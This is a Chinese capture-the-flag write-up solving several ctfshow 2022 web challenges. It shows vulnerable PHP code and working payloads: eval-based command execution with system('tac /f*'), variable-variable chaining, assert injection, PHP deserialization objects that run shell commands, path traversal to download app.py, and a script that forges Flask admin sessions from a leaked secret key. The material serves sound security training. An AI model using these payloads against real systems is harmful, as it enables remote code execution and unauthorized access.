文章目录

  • web签到
  • web2 c0me_t0_s1gn
  • 我的眼里只有$
  • 抽老婆
  • 一言既出
  • 驷马难追
  • TapTapTap
  • webshell
  • 无一幸免
  • 遍地飘零
  • 小舔田

web签到

套娃题,自己本地搭环境,慢慢试就试出来了

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

Payload:

cookie
CTFshow-QQ群:a
post
a=b
get
?b=c&c[6][0][7][5][8][0][9][4][4]=system('tac /f*');

web2 c0me_t0_s1gn

右键发现js源代码,将js代码全部复制下来,放在js在线运行工具里,在最后加上g1ve_flag();



两个拼接得到flag

我的眼里只有$

题目

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。
针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

套娃呗,一直套呗。

Payload
_=a1&a1=a2&a2=a3&a3=a4&a4=a5&a5=a6&a6=a7&a7=a8&a8=a9&a9=a10&a10=a11&a11=a12&a12=a15&a15=a16&a16=a17&a17=a18&a18=a19&a19=a20&a20=a21&a21=a22&a22=a23&a23=a24&a24=a25&a25=a26&a26=a27&a27=a28&a28=a29&a29=a30&a30=a31&a31=a32&a32=a33&a33=a34&a34=a35&a35=a36&a36=a37&a37=system('tac /f*');

抽老婆


检查源代码发现存在文件下载

访问download发现debug页面

可以实现任意文件下载,除了flag。

download?file=../../app.py

下载源码发现
有个session校验,秘钥源码已经给出

app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

用脚本跑一下


import hashlibimport flaskfrom flask.json.tag import TaggedJSONSerializerfrom itsdangerous import *session = {'isadmin': True}secret = 'tanji_is_A_boy_Yooooooooooooooooooooo!'print(URLSafeSerializer(secret_key=secret,salt='cookie-session',  # Flask固定的盐,盐和secret会先经过一轮sha1运算,其结果作为下一轮盐和cookie内容生成签名。serializer=TaggedJSONSerializer(),signer=TimestampSigner,signer_kwargs={'key_derivation': 'hmac','digest_method': hashlib.sha1}).dumps(session))


得到session值


把这里的修改即可得到flag

一言既出

<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
} 

Payload:
?num=114514%2B1805296

驷马难追

<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514 && check($_GET['num'])){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
} function check($str){return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

多了个过滤,不过没有影响

Payload:
?num=114514%2B1805296

TapTapTap

分析habibiScript.js代码发现

在控制台执行

访问/secret_path_you_do_not_know/secretfile.txt

webshell

很简单的反序列化

Payload:

<?php class Webshell {public $cmd = 'ls';public function __construct() {$this->cmd='tac f*';}}$a=new Webshell();echo urlencode(serialize($a));?>
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22tac+f%2A%22%3B%7D

无一幸免


<?php
include "flag.php";
highlight_file(__FILE__);if (isset($_GET['0'])){$arr[$_GET['0']]=1;if ($arr[]=1){die($flag);}else{die("nonono!");}
}

Payload:
?0=0

遍地飘零


<?php
include "flag.php";
highlight_file(__FILE__);$zeros="000000000000000000000000000000";foreach($_GET as $key => $value){$$key=$$value;
}if ($flag=="000000000000000000000000000000"){echo "好多零";
}else{echo "没有零,仔细看看输入有什么问题吧";var_dump($_GET);
}

Payload:
?_GET=flag

小舔田

<?php
include "flag.php";
highlight_file(__FILE__);class Moon{public $name="月亮";public function __toString(){return $this->name;}public function __wakeup(){echo "我是".$this->name."快来赏我";}
}class Ion_Fan_Princess{public $nickname="牛夫人";public function call(){global $flag;if ($this->nickname=="小甜甜"){echo $flag;}else{echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";}}public function __toString(){$this->call();return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;}
}$a=new Moon();
$a->name=new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));

Payload:

?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

CTFshow 2022 菜狗杯部分WEB WP相关推荐

  1. ctfshow【菜狗杯】misc

    文章目录 web web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆 一言既出 驷马难追 TapTapTap Webshell 化零为整 无一幸免 无一幸免_FIXED 传说之下( ...

  2. 菜狗杯Misc抽象画wp

    目录 一.拿到题目先干嘛 二.具体的解密操作 1.把文本放到CyberChef中用Magic解密 2.把完整的解密内容复制出来 3.打开010并以hex格式粘贴内容 4.点一下HEX 5.保存成png ...

  3. ctf菜狗杯OSINT wp

    菜狗杯OSINTwp Fish And Turtles 由B-6448和8月27日可以查到由早上赶飞机可以得知flag ctfshow{成都-厦门-3U6953} 碧海蓝天 把他放到搜狗识图![可以得 ...

  4. 纵横杯2020 web wp

    title: 纵横杯2020 web wp date: 2020-12-26 18:19:03 tags: CTF categories: 比赛 link:https://yq1ng.github.i ...

  5. 2022网鼎杯青龙组wp

    本次网鼎杯的Crypto部分其实还是比较简单的,解出的人数也较多.感觉405题略难一些,花了比较多的时间,恰巧最后几小时给出的162所用到的求解方式之前遇到过,有幸作为一个CTF新手把这次的比赛密码学 ...

  6. CTFSHOW 菜狗杯--WEB

    WEB签到 eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]); 简单的解释下这个嵌 ...

  7. CTFSHOW菜狗杯 web

    文章目录 web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆 一言既出 驷马难追 TapTapTap Webshell 化零为整 无一幸免 传说之下(雾) 算力超群 算力升级 2 ...

  8. ctfshow 菜狗杯 taptap wp

    启动环境 小游戏 看源码 查找关键字score 解码得 访问该路径,拿到flag

  9. ctfshow菜狗杯 web 我的眼里只有$

    萌新入坑,防懒细胞滋生 题目有36个$,给出的最后一个$_可以看做变量0 生成从变量1到变量35,最后赋给变量35的值为真正想执行的命令. my_str = '_' for i in range(26 ...

  10. ctfshow菜狗杯webwp

    web签到 <?php error_reporting(0); highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CT ...

最新文章

  1. python pip换源方法
  2. 判断滚动条是否到某个位置,还有滑动的方向,以此来判断什么时候阻止滚动条滚动...
  3. [NOI2014]动物园 【kmp】
  4. 启动vue项目报错:ENOSPC: System limit for number of file watchers reached, watch
  5. Linux中使用Msmtp+mutt+shell自动发邮件程序安装说明
  6. 弄懂webpack,只要看这一片就够了(文末有福利)
  7. 网页文字无法复制解决方法
  8. IDEA或Webstorm设置Terminal终端字体大小
  9. 2012 php mysql_Apache+Mysql+PHP(win sercer2012)
  10. python之入门,你好,中国
  11. zookeeper集群为什么是单数
  12. 网页校验器:含有Flash的网页如何通过校验 ?
  13. python--简易员工信息系统编写
  14. MASK RCNN在tensorflow 2.5中运行
  15. 错误:Error:java.lang.RuntimeException: Some file crunching failed, see logs for details解决方案
  16. 在自己的APP或网页中调用高德地图网页版
  17. iOS9获取手机序列号serialNumber(UDID)
  18. 物理信息融合系统CPS---数据流(SDF/DDF)
  19. Myeclipse9.0 正式版64位JDK 之win7下的完美破解
  20. VsCode+OpenOCD 开发stm32系列

热门文章

  1. 基于rrweb框架对web 页面录制与回放
  2. 如何提高Python编程能力?
  3. 对于流媒体的一些认识
  4. 在SQL中创建时间维度表
  5. linux skb 存放数据,请教关于在linux网络驱动层对skb网络数据..._网络编辑_帮考网...
  6. MR:二:什么是MR混合现实技术?
  7. Object.defineProperty()详解
  8. FRI.Django 中的装饰器及 Auth 模块
  9. win10音频服务器未修复,win10十月更新音频输出设备未安装错误修复教程
  10. 腾讯Bugly工具介绍节选